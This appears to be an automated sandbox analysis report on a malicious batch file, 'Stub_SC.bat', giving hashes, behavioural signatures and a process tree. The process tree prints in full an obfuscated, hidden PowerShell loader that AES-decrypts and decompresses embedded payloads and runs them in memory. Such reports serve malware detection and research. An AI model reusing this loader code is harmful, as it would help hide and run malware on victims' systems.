Analysis
-
max time kernel
118s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
23-09-2023 15:11
Static task
static1
Behavioral task
behavioral1
Sample
Stub_SC.bat
Resource
win7-20230831-en
General
-
Target
Stub_SC.bat
-
Size
2.6MB
-
MD5
12d05ccce56b71317838c1f70c434fdd
-
SHA1
db2b6548661dc0ad3c19439989e1c36bf62a9ca7
-
SHA256
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e
-
SHA512
79c4c072efba2838d053dd3912484e4138371eac29bd556e344c62abc1b49313bf562fcc6c613c7756c6d24ecc4203336da5aacaf9d4602eb8c5d6caa45053b2
-
SSDEEP
24576:MFz0PTLOQXlNvJ9ZosU5cqcczDvwcbpSWwHt6H5P+gRnBrqYxvcpXKX6saNpWJcU:bNWTfSWwU8i8esRx7rXDdOuGC+ewAtg
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
Processes:
Stub_SC.bat.exepid process 3048 Stub_SC.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
Stub_SC.bat.exepid process 3048 Stub_SC.bat.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Stub_SC.bat.exepid process 3048 Stub_SC.bat.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Stub_SC.bat.exedescription pid process Token: SeDebugPrivilege 3048 Stub_SC.bat.exe -
Suspicious use of WriteProcessMemory 7 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 320 wrote to memory of 2704 320 cmd.exe cmd.exe PID 320 wrote to memory of 2704 320 cmd.exe cmd.exe PID 320 wrote to memory of 2704 320 cmd.exe cmd.exe PID 2704 wrote to memory of 3048 2704 cmd.exe Stub_SC.bat.exe PID 2704 wrote to memory of 3048 2704 cmd.exe Stub_SC.bat.exe PID 2704 wrote to memory of 3048 2704 cmd.exe Stub_SC.bat.exe PID 2704 wrote to memory of 3048 2704 cmd.exe Stub_SC.bat.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat2⤵
- Suspicious use of WriteProcessMemory
PID:2704 -
C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat.exe"C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat.exe" -w hidden -c $apqR='LMJyQoaMJyQdMJyQ'.Replace('MJyQ', ''),'DecEzhXomEzhXprEzhXeEzhXsEzhXsEzhX'.Replace('EzhX', ''),'FHipDrHipDoHipDmHipDBasHipDe6HipD4SHipDtrHipDingHipD'.Replace('HipD', ''),'ReaGlTbdLiGlTbneGlTbsGlTb'.Replace('GlTb', ''),'CoHbpApHbpAyTHbpAoHbpA'.Replace('HbpA', ''),'MaEheginEhegMoEhegduEheglEhegeEheg'.Replace('Eheg', ''),'TroOznansoOznfooOznroOznmFoOzninaoOznloOznBloOznockoOzn'.Replace('oOzn', ''),'ChSshoanSshogeSshoESshoxSshotSshoeSshonsiSshooSshonSsho'.Replace('Ssho', ''),'EnnHrXtrynHrXPnHrXoinnHrXtnHrX'.Replace('nHrX', ''),'IndGVtvodGVtkedGVt'.Replace('dGVt', ''),'ElSdypemSdypeSdypntSdypAtSdyp'.Replace('Sdyp', ''),'SpuMPtliuMPttuMPt'.Replace('uMPt', ''),'GaSlAeaSlAtaSlACuaSlAraSlAreaSlAntaSlAPaSlAraSlAocaSlAesaSlAsaSlA'.Replace('aSlA', ''),'CrUNafeUNafatUNafeUNafDecUNafryUNafptUNafoUNafrUNaf'.Replace('UNaf', '');function pOCfZ($gekvJ){$BSBXA=[System.Security.Cryptography.Aes]::Create();$BSBXA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$BSBXA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$BSBXA.Key=[System.Convert]::($apqR[2])('zBdPf8AkDtINuDPE/A2HyG7nwgGIz2wO8zG9RRZ4V9A=');$BSBXA.IV=[System.Convert]::($apqR[2])('xa/+kPbivBu87Qs+xDhCVw==');$JTIYa=$BSBXA.($apqR[13])();$Yaopt=$JTIYa.($apqR[6])($gekvJ,0,$gekvJ.Length);$JTIYa.Dispose();$BSBXA.Dispose();$Yaopt;}function PqvPo($gekvJ){$Pbfvo=New-Object System.IO.MemoryStream(,$gekvJ);$ojhOO=New-Object System.IO.MemoryStream;$Oxkfy=New-Object System.IO.Compression.GZipStream($Pbfvo,[IO.Compression.CompressionMode]::($apqR[1]));$Oxkfy.($apqR[4])($ojhOO);$Oxkfy.Dispose();$Pbfvo.Dispose();$ojhOO.Dispose();$ojhOO.ToArray();}$atogv=[System.Linq.Enumerable]::($apqR[10])([System.IO.File]::($apqR[3])([System.IO.Path]::($apqR[7])([System.Diagnostics.Process]::($apqR[12])().($apqR[5]).FileName, $null)), 1);$MrHap=$atogv.Substring(2).($apqR[11])(':');$llRaa=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[0])));$VSAoW=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[1])));[System.Reflection.Assembly]::($apqR[0])([byte[]]$VSAoW).($apqR[8]).($apqR[9])($null,$null);[System.Reflection.Assembly]::($apqR[0])([byte[]]$llRaa).($apqR[8]).($apqR[9])($null,$null);3⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3048
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\Stub_SC.bat.exeFilesize
442KB
MD592f44e405db16ac55d97e3bfe3b132fa
SHA104c5d2b4da9a0f3fa8a45702d4256cee42d8c48d
SHA2566c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7
SHA512f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f
-
memory/3048-5-0x0000000073EF0000-0x000000007449B000-memory.dmpFilesize
5.7MB
-
memory/3048-6-0x0000000073EF0000-0x000000007449B000-memory.dmpFilesize
5.7MB
-
memory/3048-7-0x0000000001E30000-0x0000000001E70000-memory.dmpFilesize
256KB
-
memory/3048-8-0x0000000001E30000-0x0000000001E70000-memory.dmpFilesize
256KB
-
memory/3048-9-0x0000000001E30000-0x0000000001E70000-memory.dmpFilesize
256KB
-
memory/3048-10-0x0000000073EF0000-0x000000007449B000-memory.dmpFilesize
5.7MB